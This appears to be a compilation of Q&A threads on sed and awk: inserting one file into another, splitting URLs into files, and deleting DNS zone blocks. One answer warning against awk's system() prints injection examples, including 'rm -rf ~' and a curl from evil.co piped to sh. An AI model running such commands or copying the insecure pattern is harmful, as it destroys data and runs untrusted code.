I think we already have similar post using sed to add "text" at the beginning of a file
Say: sed -i '1i text' inputfile
But here my question is: my text has many lines, so I put them in a file (file1). And I hope to insert the content in file1 at the beginning of file2.
How can I do that using sed, or other approaches?
thx
edit:
Sorry I'm myself complicating this question!
This is an idiot question because we can simply do by "cat"! :)
I'm an idiot
How about doing
cat file1 file2
(Well, this is not "inplace" editing, though, you probably need to use a temp file or a buffer.)
Notice that in some shells, you will also be able to do
command < file1 < file2
Using awk:
awk 'BEGIN { while ((getline tmp < "TEMPLATE" ) > 0) { print tmp }
close("TEMPLATE")}
{ print }' ORIGFILE > NEWFILE && mv NEWFILE ORIGFILE
Using vim:
vim -c "read TEMPLATE" -c "read FILE" -c "wq"
This might work for you (as an exercise as cat is the obvious choice):
sed '1{h;r file1'$'\n'';d};2{H;g}' file2
Related
The following bash code incorporates the awk code to fuse file1 and file2 in the special fashion, detecting some blocks in the file2 and inserting there all strings from the file1.
#!/bin/bash
# v 0.09 beta
file1=/usr/data/temp/data1.pdb
file2=/usr/data/temp/data2.pdb
# merge the both
awk -v file="${file1}" '/^ENDMDL$/ {system("cat file");}; {print}' "${results}"/"${file2} >> output.pdb
The problem that I can not use in the awk part the variable "file", which relates to the file1 defined in bash
{system("cat file");}
othervise if I past here the full path of the file1 it works well
{system("cat /usr/data/temp/data1.pdb");}
how I could fix my awk code to be able using directly a bash variable there?
The Literal (But Evil, Insecure) Answer
To answer your literal question:
awk -v insecure="filename" 'BEGIN { system("cat " insecure) }'
...will run cat filename.
But if someone passed insecure="filename; rm -rf ~" or insecure='$(curl http://evil.co | sh)', you'd have a very bad day.
The Right Answer
Pass the filename on awk's command line, and check FNR to see if you're reading the first file or a subsequent one.
Use GNU Awk's readfile library:
gawk -i readfile -v file1="$file1" 'BEGIN { file1_data = readfile(file1) }
/^ENDMDL$/ { printf "%s", file1_data } 1' ...
Alternative you can use a while ((getline < file1) > 1) loop to fetch the data.
This is easier with sed
$ sed '/^ENDMDL$/r file1' file2
inserts file1 after the marker.
to replace the marker line with the file1 contents
$ sed -e '/^ENDMDL$/{r file1' -e 'd}' file2
I have a list of URLs, and would like to identify what is a directory and what is not:
https://www.example.com/folder/
https://www.example.com/folder9/
https://www.example.com/folder/file.sh
https://www.example.com/folder/text
I can use grep -e /$ to find which is which, but I'd like to do an inline command where I can redirect the output based on that logic.
I understand that awk may have the answer here, but don't have enough experience in awk to do this.
Something like:
cat urls | if /$ matches write to folders.txt else write to files.txt
I could drop it all to a file then read it twice but when it gets to thousands of lines I feel that would be inefficient.
Yes, awk is a great choice for this:
awk '/\/$/ { print > "folders.txt"; next }
{ print > "files.txt" }' urls.txt
/\/$/ { print > "folders.txt"; next } if the line ends with a /, write it to folders.txt and skip to the next line
{ print > "files.txt" } write all other lines to files.txt
You may want to use the expression /\/[[:space:]]*$/ instead of /\/$/ in case you have trailing spaces in your file.
All you need is:
awk '{print > ((/\/$/ ? "folders" : "files")".txt")}' urls.txt
With coreutils, grep and bash process substitution:
<urls tee >(grep '/$' > folders.txt) >(grep -v '/$' > files.txt) > /dev/null
I am in the process of deleting around 33k of zones on a DNS server. I used this awk string to find the matching rows in my zones.conf file:
awk -v RS= -v ORS='\n\n' '/domain.com/' zones.conf
This give me the output down below, which is what I want.
zone "domain.com" {
type master;
file "/etc/bind/db/domain.com";
};
The problem I am facing now, is to delete the 4 lines.
Is it possible to use sed or awk to perform this action?
EDIT:
I have decided that I want to run in in a while loop. List.txt contain the domain which I want to remove from the zones.conf file.
Every row is defined as the variable '${line}' and is defined in the awk (which was provided by "l'L'l")
The string was originaly:
awk -v OFS='\n\n' '/domain.com/{n=4}; n {n--; next}; 1' < zones.conf > new.conf
I tried to modify it so it would accept a variable, but without result:
#!/bin/bash
while read line
do
awk -v OFS='\n\n' '/"'${line}'"/{n=4}; n {n--; next}; 1' zones.conf > new.conf
done<list.txt
Thanks in advance
This is quite easy with sed:
sed -i '/zone "domain.com"/,+4d' zones.conf
With a variable:
sed -i '/zone "'$domain'"/,+4d' zones.conf
Full working example:
#!/bin/bash
while read domain
do
sed -i '/zone "'$domain'"/,+4d' zones.conf
done<list.txt
You should be able to modify your existing awk command to remove a specified number of lines once the match is found, for example:
awk -v OFS='\n\n' '/domain.com/{n=4}; n {n--; next}; 1' < zones.conf > new.conf
This would remove 4 lines after the initial domain.com is found, giving you the correct newlines.
Output:
zone "other.com" {
type master;
file "/etc/bind/db/other.com";
};
zone "foobar.com" {
type master;
file "/etc/bind/db/foobar.com";
};
My sed solution would be
sed '/zone "domain.com"/{:l1;/};\n$/!{N;bl1};d}' file > newfile
#But the above would be on the slower end if you're dealing with 33k zones
For inplace editing use the -i option with sed like below :
sed -i.bak '/zone "domain.com"/{:l1;/};\n$/!{N;bl1};d}' file
#Above will create a backup of the original file with a '.bak' extension
For using variables
#!/bin/bash
while read domain #capitalized variables are usually reserved for the system
do
sed '/zone "'"${domain}"'"/{:l1;/};\n$/!{N;bl1};d}' file > newfile
# for inplace edit use below
# sed -i.bak '/zone "'"${domain}"'"/{:l1;/};\n$/!{N;bl1};d}' file
done<list.txt
if I have a file test.txt:
example 1 content 2013-3-8:
hello java
example 2 content 2013-4-9:
hello c
how can I use awk or sed to seperate the test.txt to two file
test1
hello java
test2
hello c
I use the command below:
awk '/example/{i++}{print > "test"i}' test.txt
but it will remain the first line(example xxx), can I add some fragment to the print in awk to delete the first line?
You almost have it:
awk '/^example/ { i++; next } { print >"test"i}'
the next makes awk skip the rest of the statements.
You can use getline to skip the first line. The following should give the desired output:
awk '/example/{getline; i++}{print > "test"i}' test.txt
Some weird way of doing this with sed:
sh <<< $(sed '/example/{N;s/\n//;s/example \([0-9]*\).*:\(.*\)/echo "\2" >> test\1;/}' input)
This might work for you (GNU sed):
sed -ne '2~4w test1.txt' -e '4~4w test2.txt' test0.txt
You could try something like :
awk 'BEGIN {i=0; j=0} /example/{i++; j=0} (j != 0){print > "test"i} {j++}' test.txt
sed -n "
/example 1/ {N;s/^.*\n//
w test1.txt
}
/example 2/ {N;s/^.*\n//
w test2.txt
}" test.txt
if you define a delimiter between section (define size or marker), there could be more text to put in each file
To complete the response from Alok Singhal: if you reach the "too many open files" limit on linux, you have to close the files in line.
awk '/^example/ {close("test" i); i++; next } { print >"test" i}'
I'm trying to insert a file content before a given pattern
Here is my code:
sed -i "" "/pattern/ {
i\\
r $scriptPath/adapters/default/permissions.xml"
}" "$manifestFile"
It adds the path instead of the content of the file.
Any ideas ?
In order to insert text before a pattern, you need to swap the pattern space into the hold space before reading in the file. For example:
sed "/pattern/ {
h
r $scriptPath/adapters/default/permissions.xml
g
N
}" "$manifestFile"
Just remove i\\.
Example:
$ cat 1.txt
abc
pattern
def
$ echo hello > 2.txt
$ sed -i '/pattern/r 2.txt' 1.txt
$ cat 1.txt
abc
pattern
hello
def
I tried Todd's answer and it works great,
but I found "h" & "g" commands are ommitable.
Thanks to this faq (found from #vscharf's comments), Todd's answer can be this one liner.
sed -i -e "/pattern/ {r $file" -e 'N}' $manifestFile
Edit:
If you need here-doc version, please check this.
I got something like this using awk. Looks ugly but did the trick in my test:
command:
cat test.txt | awk '
/pattern/ {
line = $0;
while ((getline < "insert.txt") > 0) {print};
print line;
next
}
{print}'
test.txt:
$ cat test.txt
some stuff
pattern
some other stuff
insert.txt:
$ cat insert.txt
this is inserted file
this is inserted file
output:
some stuff
this is inserted file
this is inserted file
pattern
some other stuff
CodeGnome's solution don't work, if the pattern is on the last line..
So I used 3 commands.
sed -i '/pattern/ i\
INSERTION_MARKER
' $manifestFile
sed -i '/INSERTION_MARKER/r $scriptPath/adapters/default/permissions.xml' $manifestFile
sed -i 's/INSERTION_MARKER//' $manifestFile